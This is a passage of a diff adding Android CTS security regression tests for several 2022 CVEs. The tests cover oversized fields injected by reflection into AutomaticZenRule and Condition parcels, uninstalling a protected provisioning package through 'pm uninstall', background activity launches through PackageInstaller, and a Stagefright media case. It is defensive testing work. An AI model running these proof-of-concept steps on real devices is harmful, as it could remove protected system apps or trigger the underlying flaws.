+                mValidUri, null, INTERRUPTION_FILTER_UNKNOWN, /* enabled */ true);
+
+        // Create rules with long fields set directly via reflection so that we can confirm that a
+        // rule with too-long fields that comes in via a parcel has its fields truncated directly.
+        Class automaticZenRuleClass = Class.forName("android.app.AutomaticZenRule");
+        Field fieldName = automaticZenRuleClass.getDeclaredField("name");
+        fieldName.setAccessible(/* flag */ true);
+        fieldName.set(rule, mLongString);
+        Field fieldConditionId = automaticZenRuleClass.getDeclaredField("conditionId");
+        fieldConditionId.setAccessible(/* flag */ true);
+        fieldConditionId.set(rule, mLongUri);
+        if (ownerFlag) {
+            Field fieldOwner = automaticZenRuleClass.getDeclaredField("owner");
+            fieldOwner.setAccessible(/* flag */ true);
+            fieldOwner.set(rule, mComponentNameWithLongFields);
+        }
+        if (configActivityFlag) {
+            Field fieldConfigActivity =
+                    automaticZenRuleClass.getDeclaredField("configurationActivity");
+            fieldConfigActivity.setAccessible(/* flag */ true);
+            fieldConfigActivity.set(rule, mComponentNameWithLongFields);
+        }
+
+        // Write AutomaticZenRule object to parcel
+        Parcel parcel = Parcel.obtain();
+        rule.writeToParcel(parcel, 0);
+        parcel.setDataPosition(0);
+
+        // Instantiate AutomaticZenRule object using parcel
+        AutomaticZenRule ruleFromParcel = new AutomaticZenRule(parcel);
+
+        checkFields(ruleFromParcel, ownerFlag, configActivityFlag, "\ncheckParcelInput (owner="
+                + ownerFlag + ", configActivity=" + configActivityFlag + "): ");
+    }
+
+    private void testIsInputFromParcelVulnerable()
+            throws ClassNotFoundException, IllegalAccessException, NoSuchFieldException {
+        checkParcelInput(/* ownerFlag */ true, /* configActivityFlag */ false);
+        checkParcelInput(/* ownerFlag */ false, /* configActivityFlag */ true);
+        checkParcelInput(/* ownerFlag */ true, /* configActivityFlag */ true);
+    }
+
+    // b/242703460, b/242703505, b/242703780, b/242704043, b/243794204
+    // Vulnerable library : framework.jar
+    // Vulnerable module  : Not applicable
+    // Is Play managed    : No
+    @AsbSecurityTest(cveBugId = {242703460, 242703505, 242703780, 242704043, 243794204})
+    @Test
+    public void testPocCVE_2022_20456() {
+        try {
+            mLongString = String.join("", Collections.nCopies(INPUT_STRING_LENGTH, "A"));
+            mComponentNameWithLongFields = new ComponentName(mLongString, mLongString);
+            mValidComponentName = new ComponentName(PACKAGE_NAME, CLASS_NAME);
+            mLongUri = Uri.parse("condition://" + mLongString);
+            mValidUri = Uri.parse(URI_STRING);
+            mViolations = new ArrayList<String>();
+
+            // Check AutomaticZenRule constructor
+            testIsConstructorVulnerable();
+
+            // Check AutomaticZenRule field setters
+            testIsFieldSetterVulnerable();
+
+            // Check AutomaticZenRule constructor using parcel input
+            testIsInputFromParcelVulnerable();
+
+            assertTrue("Device is vulnerable to at least one of the following vulnerabilities : "
+                    + "b/242703460(CVE-2022-20489), b/242703505(CVE-2022-20490), b/242703780"
+                    + "(CVE-2022-20456), b/242704043(CVE-2022-20492), b/243794204(CVE-2022-20494)"
+                    + " due to these violations where input string length=" + INPUT_STRING_LENGTH
+                    + " and input uri length=" + mLongUri.toString().length() + ":" + mViolations,
+                    mViolations.isEmpty());
+        } catch (Exception e) {
+            assumeNoException(e);
+        }
+    }
+}
diff --git a/tests/tests/security/src/android/security/cts/CVE_2022_20493.java b/tests/tests/security/src/android/security/cts/CVE_2022_20493.java
new file mode 100644
index 0000000..4933dc6
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/CVE_2022_20493.java
@@ -0,0 +1,133 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assume.assumeNoException;
+
+import android.net.Uri;
+import android.os.Parcel;
+import android.platform.test.annotations.AsbSecurityTest;
+import android.service.notification.Condition;
+
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
+
+import java.lang.reflect.Field;
+import java.util.Collections;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/*
+ * This CTS test has been created taking reference from the tests present in
+ * frameworks/base/core/tests/coretests/src/android/service/notification/ConditionTest.java
+ */
+
+@RunWith(AndroidJUnit4.class)
+public class CVE_2022_20493 extends StsExtraBusinessLogicTestCase {
+    private static final int INPUT_STRING_LENGTH = 2000;
+    private String mLongString;
+    private String mValidString;
+    private Uri mLongUri;
+    private Uri mValidUri;
+
+    private boolean checkFields(Condition condition, boolean checkLine) {
+        // Check all fields
+        boolean status = (mLongUri.toString().length() <= condition.id.toString().length())
+                || (INPUT_STRING_LENGTH <= condition.summary.length());
+        if (checkLine) {
+            status = status || (INPUT_STRING_LENGTH <= condition.line1.length())
+                    || (INPUT_STRING_LENGTH <= condition.line2.length());
+        }
+        return status;
+    }
+
+    private boolean testLongFieldsInConstructors() {
+        // Confirm strings are truncated via short constructor
+        Condition firstCondition = new Condition(mLongUri, mLongString, Condition.STATE_TRUE);
+
+        // Confirm strings are truncated via long constructor
+        Condition secondCondition = new Condition(mLongUri, mLongString, mLongString, mLongString,
+                -1, Condition.STATE_TRUE, Condition.FLAG_RELEVANT_ALWAYS);
+        return checkFields(firstCondition, false) || checkFields(secondCondition, true);
+    }
+
+    private boolean setFieldsUsingReflection(boolean setLine)
+            throws ClassNotFoundException, IllegalAccessException, NoSuchFieldException {
+        // Set fields via reflection to force them to be long, then parcel and unparcel to make sure
+        // it gets truncated upon unparcelling.
+        Condition condition;
+        if (setLine) {
+            condition = new Condition(mValidUri, mValidString, mValidString, mValidString, -1,
+                    Condition.STATE_TRUE, Condition.FLAG_RELEVANT_ALWAYS);
+        } else {
+            condition = new Condition(mValidUri, mValidString, Condition.STATE_TRUE);
+        }
+
+        Class conditionClass = Class.forName("android.service.notification.Condition");
+        Field id = conditionClass.getDeclaredField("id");
+        id.setAccessible(true);
+        id.set(condition, mLongUri);
+        Field summary = conditionClass.getDeclaredField("summary");
+        summary.setAccessible(true);
+        summary.set(condition, mLongString);
+        if (setLine) {
+            Field line1 = conditionClass.getDeclaredField("line1");
+            line1.setAccessible(true);
+            line1.set(condition, mLongString);
+            Field line2 = conditionClass.getDeclaredField("line2");
+            line2.setAccessible(true);
+            line2.set(condition, mLongString);
+        }
+
+        Parcel parcel = Parcel.obtain();
+        condition.writeToParcel(parcel, 0);
+        parcel.setDataPosition(0);
+
+        Condition conditionFromParcel = new Condition(parcel);
+        return checkFields(conditionFromParcel, setLine);
+    }
+
+    private boolean testLongFieldsFromParcel()
+            throws ClassNotFoundException, IllegalAccessException, NoSuchFieldException {
+        return setFieldsUsingReflection(true) || setFieldsUsingReflection(false);
+    }
+
+    /**
+     * b/242846316
+     * Vulnerable library : framework.jar
+     * Vulnerable module  : Not applicable
+     * Is Play managed    : No
+     */
+    @AsbSecurityTest(cveBugId = 242846316)
+    @Test
+    public void testPocCVE_2022_20493() {
+        try {
+            mLongString = String.join("", Collections.nCopies(INPUT_STRING_LENGTH, "A"));
+            mLongUri = Uri.parse("condition://" + mLongString);
+            mValidUri = Uri.parse("condition://android");
+            mValidString = "placeholder";
+            boolean firstResult = testLongFieldsInConstructors();
+            boolean secondResult = testLongFieldsFromParcel();
+            assertFalse("Device is vulnerable to b/242846316!", firstResult || secondResult);
+        } catch (Exception e) {
+            assumeNoException(e);
+        }
+    }
+}
diff --git a/tests/tests/security/src/android/security/cts/CVE_2022_20611.java b/tests/tests/security/src/android/security/cts/CVE_2022_20611.java
new file mode 100644
index 0000000..02526f4
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/CVE_2022_20611.java
@@ -0,0 +1,63 @@
+/**
+ * Copyright (C) 2023 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.security.cts;
+
+import static com.android.compatibility.common.util.ShellUtils.runShellCommand;
+import static org.junit.Assert.fail;
+import static org.junit.Assume.assumeFalse;
+import static org.junit.Assume.assumeTrue;
+
+import android.content.Context;
+import android.platform.test.annotations.AsbSecurityTest;
+
+import androidx.test.platform.app.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.compatibility.common.util.SystemUtil;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+
+@RunWith(AndroidJUnit4.class)
+public class CVE_2022_20611 extends StsExtraBusinessLogicTestCase {
+    /**
+     * CVE-2022-20611
+     */
+    @AsbSecurityTest(cveBugId = 242996180)
+    @Test
+    public void testPocCVE_2022_20611() throws Exception {
+        Context context = InstrumentationRegistry.getInstrumentation().getTargetContext();
+        int provisioningAppId = context.getResources().getIdentifier(
+                "config_deviceProvisioningPackage", "string", "android");
+        assumeTrue("config_deviceProvisioningPackage not found.", provisioningAppId > 0);
+
+        String protectedPkg = context.getResources().getString(provisioningAppId);
+        assumeFalse("config_deviceProvisioningPackage is not set", protectedPkg.isEmpty());
+
+        String res = runShellCommand("pm list packages " + protectedPkg);
+        assumeTrue(protectedPkg + " is not installed.", res.contains(protectedPkg));
+
+        res = runShellCommand("pm uninstall -k --user 0 " + protectedPkg);
+        if (!res.contains("DELETE_FAILED_INTERNAL_ERROR")) {
+            runShellCommand("pm install-existing --user 0 " + protectedPkg);
+            fail(
+                    "Protected package '" + protectedPkg + "' could be uninstalled. "
+                    + "Vulnerable to b/242994180.");
+        }
+    }
+}
diff --git a/tests/tests/security/src/android/security/cts/PackageInstallerTest.java b/tests/tests/security/src/android/security/cts/PackageInstallerTest.java
index ddea213..ec06b27 100644
--- a/tests/tests/security/src/android/security/cts/PackageInstallerTest.java
+++ b/tests/tests/security/src/android/security/cts/PackageInstallerTest.java
@@ -16,25 +16,45 @@
 
 package android.security.cts;
 
+import static android.content.Intent.EXTRA_REMOTE_CALLBACK;
+
 import android.Manifest;
+import android.app.Activity;
+import android.app.Instrumentation;
+import android.app.Instrumentation.ActivityMonitor;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.os.Bundle;
+import android.os.ConditionVariable;
+import android.os.Handler;
+import android.os.HandlerThread;
+import android.os.RemoteCallback;
 import android.platform.test.annotations.AppModeFull;
 import android.platform.test.annotations.AsbSecurityTest;
+import android.provider.Settings;
 
 import androidx.test.platform.app.InstrumentationRegistry;
 import androidx.test.runner.AndroidJUnit4;
 
+import com.android.compatibility.common.util.SystemUtil;
 import com.android.cts.install.lib.Install;
 import com.android.cts.install.lib.TestApp;
 import com.android.cts.install.lib.Uninstall;
 import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
 
 import org.junit.After;
+import org.junit.AfterClass;
 import org.junit.Assert;
 import org.junit.Before;
+import org.junit.BeforeClass;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
+import java.util.Objects;
 import java.util.concurrent.TimeUnit;
+import java.util.concurrent.TimeoutException;
+import java.util.concurrent.atomic.AtomicReference;
 
 @RunWith(AndroidJUnit4.class)
 @AppModeFull
@@ -42,10 +62,37 @@
 
     private static final String TEST_APP_NAME = "android.security.cts.packageinstallertestapp";
 
+    private static final String KEY_ERROR = "key_error";
+    private static final String ACTION_COMMIT_WITH_ACTIVITY_INTENT_SENDER = TEST_APP_NAME
+            + ".action.COMMIT_WITH_ACTIVITY_INTENT_SENDER";
+
+    static final long DEFAULT_TIMEOUT_MS = TimeUnit.SECONDS.toMillis(15);
+
     private static final TestApp TEST_APP = new TestApp(
             "PackageInstallerTestApp", TEST_APP_NAME, 1, /*isApex*/ false,
             "PackageInstallerTestApp.apk");
 
+    private static Context sContext = InstrumentationRegistry.getInstrumentation().getContext();
+    private static HandlerThread sResponseThread;
+    private static Handler sHandler;
+
+    private static final ComponentName BACKGROUND_RECEIVER_COMPONENT_NAME =
+            ComponentName.createRelative(TEST_APP_NAME, ".BackgroundReceiver");
+    private static final ComponentName BACKGROUND_LAUNCH_ACTIVITY_COMPONENT_NAME =
+            new ComponentName(sContext, BackgroundLaunchActivity.class);
+
+    @BeforeClass
+    public static void onBeforeClass() {
+        sResponseThread = new HandlerThread("response");
+        sResponseThread.start();
+        sHandler = new Handler(sResponseThread.getLooper());
+    }
+
+    @AfterClass
+    public static void onAfterClass() {
+        sResponseThread.quit();
+    }
+
     @Before
     public void setUp() {
         InstrumentationRegistry
@@ -74,4 +121,67 @@
         Assert.assertNotNull("Did not receive broadcast", packageName);
         Assert.assertEquals(TEST_APP_NAME, packageName);
     }
+
+    @Test
+    @AsbSecurityTest(cveBugId = 230492955)
+    public void commitSessionInBackground_withActivityIntentSender_doesNotLaunchActivity()
+            throws Exception {
+        Install.single(TEST_APP).commit();
+        // An activity with the system uid in the foreground is necessary to this test.
+        goToSettings();
+        final Instrumentation instrumentation = InstrumentationRegistry.getInstrumentation();
+        final ActivityMonitor monitor = instrumentation.addMonitor(
+                BackgroundLaunchActivity.class.getName(), null /* result */, false /* block */);
+        try {
+            sendActionToBackgroundReceiver(
+                    ACTION_COMMIT_WITH_ACTIVITY_INTENT_SENDER,
+                    BACKGROUND_LAUNCH_ACTIVITY_COMPONENT_NAME);
+
+            final Activity activity = monitor.waitForActivityWithTimeout(DEFAULT_TIMEOUT_MS);
+            if (activity != null) {
+                instrumentation.runOnMainSync(() -> activity.finish());
+            }
+            Assert.assertNull(activity);
+        } finally {
+            instrumentation.removeMonitor(monitor);
+        }
+    }
+
+    private void goToSettings() {
+        SystemUtil.runShellCommand(
+                "am start -W --user current -a " + Settings.ACTION_SETTINGS);
+    }
+
+    private Bundle sendActionToBackgroundReceiver(String action, ComponentName statusReceiver)
+            throws Exception {
+        final Intent intent = new Intent(action)
+                .setComponent(BACKGROUND_RECEIVER_COMPONENT_NAME);
+        if (statusReceiver != null) {
+            intent.putExtra(Intent.EXTRA_COMPONENT_NAME, statusReceiver);
+        }
+        final ConditionVariable latch = new ConditionVariable();
+        final AtomicReference<Bundle> resultReference = new AtomicReference<>();
+        final RemoteCallback remoteCallback = new RemoteCallback(
+                bundle -> {
+                    resultReference.set(bundle);
+                    latch.open();
+                },
+                sHandler);
+        intent.putExtra(EXTRA_REMOTE_CALLBACK, remoteCallback);
+        sContext.sendBroadcast(intent);
+
+        if (!latch.block(DEFAULT_TIMEOUT_MS)) {
+            throw new TimeoutException(
+                    "Latch timed out while awaiting a response from background receiver");
+        }
+        final Bundle bundle = resultReference.get();
+        if (bundle != null && bundle.containsKey(KEY_ERROR)) {
+            throw Objects.requireNonNull((Exception) bundle.getSerializable(KEY_ERROR));
+        }
+        return bundle;
+    }
+
+    // An activity to receive status of a committed session
+    public static class BackgroundLaunchActivity extends Activity {
+    }
 }
diff --git a/tests/tests/security/src/android/security/cts/PermissionReviewTapjackingTest.kt b/tests/tests/security/src/android/security/cts/PermissionReviewTapjackingTest.kt
index 32b1941..97b0bd7 100644
--- a/tests/tests/security/src/android/security/cts/PermissionReviewTapjackingTest.kt
+++ b/tests/tests/security/src/android/security/cts/PermissionReviewTapjackingTest.kt
@@ -16,9 +16,7 @@
 
 package android.security.cts
 
-import android.app.Instrumentation
 import android.app.UiAutomation
-import android.content.Context
 import android.content.ComponentName
 import android.content.Intent
 import android.content.pm.PackageManager
@@ -29,9 +27,9 @@
 import android.support.test.uiautomator.UiDevice
 import android.support.test.uiautomator.UiObject2
 import android.support.test.uiautomator.Until
-import androidx.test.InstrumentationRegistry
 import com.android.compatibility.common.util.SystemUtil.runShellCommand
 import com.android.compatibility.common.util.SystemUtil.runWithShellPermissionIdentity
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase
 import org.junit.After
 import org.junit.Assert
 import org.junit.Assume.assumeFalse
@@ -42,7 +40,7 @@
 /**
  * Tests permission review screen can't be tapjacked
  */
-class PermissionReviewTapjackingTest {
+class PermissionReviewTapjackingTest : StsExtraBusinessLogicTestCase {
 
     companion object {
         const val APK_DIRECTORY = "/data/local/tmp/cts/permission3"
@@ -56,11 +54,9 @@
         private const val HELPER_PACKAGE_NAME = "android.permission3.cts.helper.overlay"
     }
 
-    protected val instrumentation: Instrumentation = InstrumentationRegistry.getInstrumentation()
-    protected val context: Context = instrumentation.context
-    protected val uiAutomation: UiAutomation = instrumentation.uiAutomation
-    protected val uiDevice: UiDevice = UiDevice.getInstance(instrumentation)
-    protected val packageManager: PackageManager = context.packageManager
+    protected val uiAutomation: UiAutomation = getInstrumentation().uiAutomation
+    protected val uiDevice: UiDevice = UiDevice.getInstance(getInstrumentation())
+    protected val packageManager: PackageManager = getContext().packageManager
 
     private var screenTimeoutBeforeTest: Long = 0
 
@@ -94,19 +90,21 @@
         waitForIdle()
     }
 
+    constructor() : super()
+
     @Before
     fun setUp() {
         runWithShellPermissionIdentity {
             screenTimeoutBeforeTest = Settings.System.getLong(
-                    context.contentResolver, Settings.System.SCREEN_OFF_TIMEOUT
+                    getContext().contentResolver, Settings.System.SCREEN_OFF_TIMEOUT
             )
             Settings.System.putLong(
-                    context.contentResolver, Settings.System.SCREEN_OFF_TIMEOUT, 1800000L
+                    getContext().contentResolver, Settings.System.SCREEN_OFF_TIMEOUT, 1800000L
             )
         }
 
         uiDevice.wakeUp()
-        runShellCommand(instrumentation, "wm dismiss-keyguard")
+        runShellCommand(getInstrumentation(), "wm dismiss-keyguard")
 
         uiDevice.findObject(By.text("Close"))?.click()
     }
@@ -126,7 +124,7 @@
     fun tearDown() {
         runWithShellPermissionIdentity {
             Settings.System.putLong(
-                    context.contentResolver, Settings.System.SCREEN_OFF_TIMEOUT,
+                    getContext().contentResolver, Settings.System.SCREEN_OFF_TIMEOUT,
                     screenTimeoutBeforeTest
             )
         }
@@ -143,13 +141,13 @@
     @Test
     @AsbSecurityTest(cveBugId = [176094367])
     fun testOverlaysAreHidden() {
-        context.startActivity(Intent()
+        getContext().startActivity(Intent()
                 .setComponent(ComponentName(HELPER_PACKAGE_NAME,
                         "$HELPER_PACKAGE_NAME.OverlayActivity"))
                 .addFlags(Intent.FLAG_ACTIVITY_NEW_TASK))
         findOverlay()
 
-        context.startActivity(Intent()
+        getContext().startActivity(Intent()
                 .setComponent(ComponentName(APP_PACKAGE_NAME,
                         "$APP_PACKAGE_NAME.FinishOnCreateActivity"))
                 .addFlags(Intent.FLAG_ACTIVITY_NEW_TASK)
diff --git a/tests/tests/security/src/android/security/cts/StagefrightTest.java b/tests/tests/security/src/android/security/cts/StagefrightTest.java
index dd8c939..4facc06 100644
--- a/tests/tests/security/src/android/security/cts/StagefrightTest.java
+++ b/tests/tests/security/src/android/security/cts/StagefrightTest.java
@@ -1377,8 +1377,10 @@
         };
         server.start();
         String uri = "rtsp://127.0.0.1:8080/cve_2016_3880";
-        final MediaPlayerCrashListener mpcl = new MediaPlayerCrashListener(new CrashUtils.Config()
-                .setSignals(CrashUtils.SIGSEGV, CrashUtils.SIGBUS, CrashUtils.SIGABRT));
+        final MediaPlayerCrashListener mpcl = new MediaPlayerCrashListener(
+                new CrashUtils.Config()
+                        .setSignals(CrashUtils.SIGSEGV, CrashUtils.SIGBUS, CrashUtils.SIGABRT)
+                        .appendAbortMessageExcludes("CHECK\\(IsRTSPVersion"));
         LooperThread t = new LooperThread(new Runnable() {
             @Override
             public void run() {
@@ -1809,6 +1811,12 @@
      before any existing test methods
      ***********************************************************/
     @Test
+    @AsbSecurityTest(cveBugId = 240971780)
+    public void testStagefright_cve_2022_33234() throws Exception {
+         doStagefrightTest(R.raw.cve_2022_33234);
+    }
+
+    @Test
     @AsbSecurityTest(cveBugId = 235102508)
     public void testStagefright_cve_2022_25669() throws Exception {
          doStagefrightTest(R.raw.cve_2022_25669);
diff --git a/tests/tests/security/src/android/security/cts/WorkSourceTest.java b/tests/tests/security/src/android/security/cts/WorkSourceTest.java
new file mode 100644
index 0000000..1438b29
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/WorkSourceTest.java
@@ -0,0 +1,67 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+
+import android.os.Parcel;
+import android.os.WorkSource;
+import android.platform.test.annotations.AsbSecurityTest;
+
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class WorkSourceTest extends StsExtraBusinessLogicTestCase {
+    private static final int TEST_PID = 6512;
+    private static final String TEST_PACKAGE_NAME = "android.security.cts";
+
+    @Test
+    @AsbSecurityTest(cveBugId = 220302519)
+    public void testWorkChainParceling() {
+        WorkSource ws = new WorkSource(TEST_PID, TEST_PACKAGE_NAME);
+        // Create a WorkChain so the mChains becomes non-null
+        ws.createWorkChain();
+        assertNotNull("WorkChains must be non-null in order to properly test parceling",
+                ws.getWorkChains());
+        // Then clear it so it's an empty list.
+        ws.getWorkChains().clear();
+        assertTrue("WorkChains must be empty in order to properly test parceling",
+                ws.getWorkChains().isEmpty());
+
+        Parcel p = Parcel.obtain();
+        ws.writeToParcel(p, 0);
+        p.setDataPosition(0);
+
+        // Read the Parcel back out and validate the two Parcels are identical
+        WorkSource readWs = WorkSource.CREATOR.createFromParcel(p);
+        assertNotNull(readWs.getWorkChains());
+        assertTrue(readWs.getWorkChains().isEmpty());
+        assertEquals(ws, readWs);
+
+        // Assert that we've read every byte out of the Parcel.
+        assertEquals(p.dataSize(), p.dataPosition());
+
+        p.recycle();
+    }
+}
diff --git a/tests/tests/security/testdata/packageinstallertestapp.xml b/tests/tests/security/testdata/packageinstallertestapp.xml
index 7c35c11..00c1833 100644
--- a/tests/tests/security/testdata/packageinstallertestapp.xml
+++ b/tests/tests/security/testdata/packageinstallertestapp.xml
@@ -33,5 +33,6 @@
                 <category android:name="android.intent.category.LAUNCHER" />
             </intent-filter>
         </activity>
+        <receiver android:name=".BackgroundReceiver" android:exported="true" />
     </application>
 </manifest>
diff --git a/tests/tests/security/testdata/src/android/security/cts/packageinstallertestapp/BackgroundReceiver.java b/tests/tests/security/testdata/src/android/security/cts/packageinstallertestapp/BackgroundReceiver.java
new file mode 100644
index 0000000..fa3d051
--- /dev/null
+++ b/tests/tests/security/testdata/src/android/security/cts/packageinstallertestapp/BackgroundReceiver.java
@@ -0,0 +1,112 @@
+/*
+ * Copyright (C) 2023 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.packageinstallertestapp;
+
+import static android.content.Intent.EXTRA_COMPONENT_NAME;
+import static android.content.Intent.EXTRA_REMOTE_CALLBACK;
+import static android.content.pm.PackageInstaller.SessionParams.MODE_FULL_INSTALL;
+
+import android.app.ActivityManager;
+import android.app.ActivityManager.RunningAppProcessInfo;
+import android.app.PendingIntent;
+import android.content.BroadcastReceiver;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentSender;
+import android.content.pm.PackageInstaller;
+import android.content.pm.PackageInstaller.Session;
+import android.content.pm.PackageInstaller.SessionParams;
+import android.os.Bundle;
+import android.os.RemoteCallback;
+
+import java.io.IOException;
+import java.util.List;
+
+/**
+ * A receiver to invoke APIs in the background.
+ */
+public class BackgroundReceiver extends BroadcastReceiver {
+    private static final String PKG_NAME = "android.security.cts.packageinstallertestapp";
+    private static final String KEY_ERROR = "key_error";
+    private static final String ACTION_COMMIT_WITH_ACTIVITY_INTENT_SENDER = PKG_NAME
+            + ".action.COMMIT_WITH_ACTIVITY_INTENT_SENDER";
+
+    @Override
+    public void onReceive(Context context, Intent intent) {
+        final RemoteCallback remoteCallback = intent.getParcelableExtra(EXTRA_REMOTE_CALLBACK);
+        final ComponentName statusReceiver = intent.getParcelableExtra(EXTRA_COMPONENT_NAME);
+        final String action = intent.getAction();
+
+        if (!isAppInBackground(context)) {
+            sendError(remoteCallback,
+                    new IllegalStateException("App is not in background"));
+            return;
+        }
+        try {
+            if (action.equals(ACTION_COMMIT_WITH_ACTIVITY_INTENT_SENDER)) {
+                final IntentSender intentSender = PendingIntent.getActivity(context,
+                                0 /* requestCode */,
+                                new Intent().setComponent(statusReceiver),
+                                PendingIntent.FLAG_IMMUTABLE)
+                        .getIntentSender();
+                sendInstallCommit(context, remoteCallback, intentSender);
+            } else {
+                sendError(remoteCallback,
+                        new IllegalArgumentException("Unknown action: " + action));
+            }
+        } catch (Throwable e) {
+            sendError(remoteCallback, e);
+        }
+    }
+
+    private static boolean isAppInBackground(Context context) {
+        final ActivityManager activityManager = context.getSystemService(ActivityManager.class);
+        final List<RunningAppProcessInfo> appProcesses = activityManager.getRunningAppProcesses();
+        final String packageName = context.getPackageName();
+        final RunningAppProcessInfo appInfo = appProcesses.stream()
+                .filter(app -> app.processName.equals(packageName))
+                .findAny().orElse(null);
+        if (appInfo != null
+                && appInfo.importance >= RunningAppProcessInfo.IMPORTANCE_SERVICE) {
+            return true;
+        }
+        return false;
+    }
+
+    private static void sendInstallCommit(Context context, RemoteCallback remoteCallback,
+            IntentSender intentSender) throws IOException {
+        final PackageInstaller packageInstaller =
+                context.getPackageManager().getPackageInstaller();
+        final int sessionId = packageInstaller.createSession(
+                new SessionParams(MODE_FULL_INSTALL));
+        final Session session = packageInstaller.openSession(sessionId);
+        session.commit(intentSender);
+        sendSuccess(remoteCallback);
+    }
+
+    private static void sendError(RemoteCallback remoteCallback, Throwable failure) {
+        Bundle result = new Bundle();
+        result.putSerializable(KEY_ERROR, failure);
+        remoteCallback.sendResult(result);
+    }
+
+    private static void sendSuccess(RemoteCallback remoteCallback) {
+        Bundle result = new Bundle();
+        remoteCallback.sendResult(result);
+    }
+}
diff --git a/tests/tests/slice/Android.bp b/tests/tests/slice/Android.bp
index 2fc8f01..0764a71 100644
--- a/tests/tests/slice/Android.bp
+++ b/tests/tests/slice/Android.bp
@@ -31,6 +31,7 @@
         "metrics-helper-lib",
         "mockito-target-inline-minus-junit4",
         "platform-test-annotations",
+        "sts-device-util",
         "ub-uiautomator",
     ],
     compile_multilib: "both",
diff --git a/tests/tests/slice/src/android/slice/cts/SliceProviderTest.kt b/tests/tests/slice/src/android/slice/cts/SliceProviderTest.kt
index 4533fa2..a179afa 100644
--- a/tests/tests/slice/src/android/slice/cts/SliceProviderTest.kt
+++ b/tests/tests/slice/src/android/slice/cts/SliceProviderTest.kt
@@ -24,6 +24,7 @@
 import android.platform.test.annotations.AsbSecurityTest
 import androidx.test.rule.ActivityTestRule
 import androidx.test.runner.AndroidJUnit4
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase
 import org.junit.Before
 import org.junit.Assume.assumeFalse
 
@@ -39,7 +40,7 @@
 private const val SHADY_ACTION_URI_STRING = "content://$SUSPICIOUS_AUTHORITY$ACTION_BLUETOOTH"
 
 @RunWith(AndroidJUnit4::class)
-class SliceProviderTest {
+class SliceProviderTest : StsExtraBusinessLogicTestCase {
 
     @Rule @JvmField var activityTestRule = ActivityTestRule(Launcher::class.java)
 
@@ -51,6 +52,8 @@
 
     private var isSlicesDisabled: Boolean = false
 
+    constructor() : super()
+
     @Before
     fun setUp() {
         contentResolver = activityTestRule.activity.contentResolver
diff --git a/tests/tests/syncmanager/AndroidTest.xml b/tests/tests/syncmanager/AndroidTest.xml
index 4c53d79..72e13ae 100644
--- a/tests/tests/syncmanager/AndroidTest.xml
+++ b/tests/tests/syncmanager/AndroidTest.xml
@@ -48,6 +48,8 @@
     </target_preparer>
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
         <option name="package" value="android.content.syncmanager.cts" />
-        <option name="runtime-hint" value="10m00s" />
+        <!-- max timeout of 10 min for each test -->
+        <option name="test-timeout" value="600000" />
+        <option name="runtime-hint" value="20m00s" />
     </test>
 </configuration>
diff --git a/tests/tests/telecom/AndroidManifest.xml b/tests/tests/telecom/AndroidManifest.xml
index 6b0ec4a..6718ecf 100644
--- a/tests/tests/telecom/AndroidManifest.xml
+++ b/tests/tests/telecom/AndroidManifest.xml
@@ -69,6 +69,15 @@
             </intent-filter>
         </service>
 
+        <service android:name=".NullBindingCallScreeningService"
+                 android:permission="android.permission.BIND_SCREENING_SERVICE"
+                 android:enabled="false"
+                 android:exported="true">
+            <intent-filter>
